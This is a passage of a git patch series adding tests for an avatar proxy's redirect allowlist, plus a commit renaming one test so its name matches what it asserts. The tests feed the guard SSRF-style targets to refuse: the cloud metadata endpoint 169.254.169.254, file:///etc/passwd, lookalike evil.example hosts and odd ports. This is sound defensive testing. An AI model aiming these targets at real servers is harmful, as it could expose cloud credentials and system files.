"http://gravatar.com:9200/x", + "//gravatar.com:22/x", + ]) { + const impl = fetcher([reply(302, location)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result, AVATAR_REDIRECT_BLOCKED, location); + assert.deepEqual( + impl.seen, + ["https://avatars.githubusercontent.com/u/1"], + `${location} must never be fetched`, + ); + } +}); + +test("the scheme's default port is still accepted, written either way", async () => { + // The guard rejects a non-empty `port`, and `new URL` empties it for the + // default — so an explicit :443 must not be mistaken for a port change. + for (const location of ["https://gravatar.com:443/x", "https://gravatar.com/x"]) { + const impl = fetcher([reply(301, location), reply(200)]); + const result = await fetchAvatarFollowingAllowlist( + "https://avatars.githubusercontent.com/u/1", + { method: "GET" }, + ALLOWLIST, + impl, + ); + assert.equal(result.status, 200, location); + assert.equal(impl.seen[1], "https://gravatar.com/x"); + } +}); + +test("the entry-point guard and the redirect guard are the same check", async () => { + // Both call sites go through isAllowedAvatarTarget, so a target refused at one + // cannot be reached through the other. + const refused = [ + "https://gravatar.com:8443/x", + "http://169.254.169.254/latest/meta-data/", + "https://gravatar.com.evil.example/x", + "https://evil-gravatar.com/x", + "file:///etc/passwd", + ]; + for (const target of refused) { + assert.equal(isAllowedAvatarTarget(new URL(target), ALLOWLIST), false, target); + } + for (const target of ["https://gravatar.com/x", "https://avatars.githubusercontent.com/u/1"]) { + assert.equal(isAllowedAvatarTarget(new URL(target), ALLOWLIST), true, target); + } +}); + test("a redirect loop terminates instead of hanging", async () => { const impl = fetcher(Array.from({ length: 10 }, () => reply(302, "https://gravatar.com/loop"))); const result = await fetchAvatarFollowingAllowlist("https://gravatar.com/a", {}, ALLOWLIST, impl); From 92f59e15eb6eba514ab6fb408c65bf75704d4278 Mon Sep 17 00:00:00 2001 From: "itarun.p" Date: Sat, 25 Jul 2026 21:14:08 +0700 Subject: [PATCH 10/10] test: name the address-guard test for what it actually asserts MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit It was called "the entry-point guard and the redirect guard are the same check", but it calls isAllowedAvatarTarget directly and never reaches the handler — delete the handler's call and it would still pass. It pins the predicate's target set; that both sites use it is a property of the source (local-api.js:879 and :60), so the comment says that instead of the name claiming it. --- test/avatar-proxy-redirect.test.js | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/test/avatar-proxy-redirect.test.js b/test/avatar-proxy-redirect.test.js index f834101c..64d8c3e7 100644 --- a/test/avatar-proxy-redirect.test.js +++ b/test/avatar-proxy-redirect.test.js @@ -120,9 +120,10 @@ test("the scheme's default port is still accepted, written either way", async () } }); -test("the entry-point guard and the redirect guard are the same check", async () => { - // Both call sites go through isAllowedAvatarTarget, so a target refused at one - // cannot be reached through the other. +test("the shared address guard refuses port, lookalike and scheme variants", async () => { + // This pins the predicate's target set. That the entry point and the redirect + // hop BOTH use it is a property of the source, not of this test: the handler + // calls isAllowedAvatarTarget at local-api.js:879 and the walk calls it at :60. const refused = [ "https://gravatar.com:8443/x", "http://169.254.169.254/latest/meta-data/",